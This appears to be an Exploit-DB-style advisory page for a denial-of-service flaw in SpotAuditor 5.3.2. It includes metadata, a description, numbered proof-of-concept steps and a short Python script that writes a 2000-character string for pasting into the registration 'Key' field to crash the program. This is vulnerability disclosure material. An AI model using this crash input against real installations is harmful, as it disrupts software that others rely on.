SpotAuditor 5.3.2 - 'Key' Denial of Service

vendor:

SpotAuditor

by:

ZwX

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: SpotAuditor

Affected Version From: 5.3.2002

Affected Version To: 5.3.2002

Patch Exists: NO

Related CWE:

CPE: a:nsauditor:spotauditor:5.3.2

Metasploit:

Other Scripts:

Platforms Tested: Windows 7

2019

SpotAuditor 5.3.2 – ‘Key’ Denial of Service

The SpotAuditor 5.3.2 software is vulnerable to a denial of service attack when a specially crafted 'Key' value is provided. By supplying a large number of characters, the software crashes. This vulnerability allows an attacker to disrupt the normal functioning of the software.

Mitigation:

The vendor has not provided a patch or mitigation for this vulnerability. Avoid providing a large number of characters in the 'Key' field to prevent the software from crashing.

Source

Exploit-DB raw data:

#Exploit Title: SpotAuditor 5.3.2 - 'Key' Denial of Service
#Exploit Author : ZwX
#Exploit Date: 2019-11-28
#Vendor Homepage : http://www.nsauditor.com/
#Link Software : http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a

'''
Proof of Concept (PoC):
=======================

1.Download and install SpotAuditor
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.SpotAuditor Crashed
'''
#!/usr/bin/python

http = "http//"
buffer = "\x41" * 2000


poc = http + buffer 
file = open("poc.txt","w")
file.write(poc)
file.close()
 
print "POC Created by ZwX"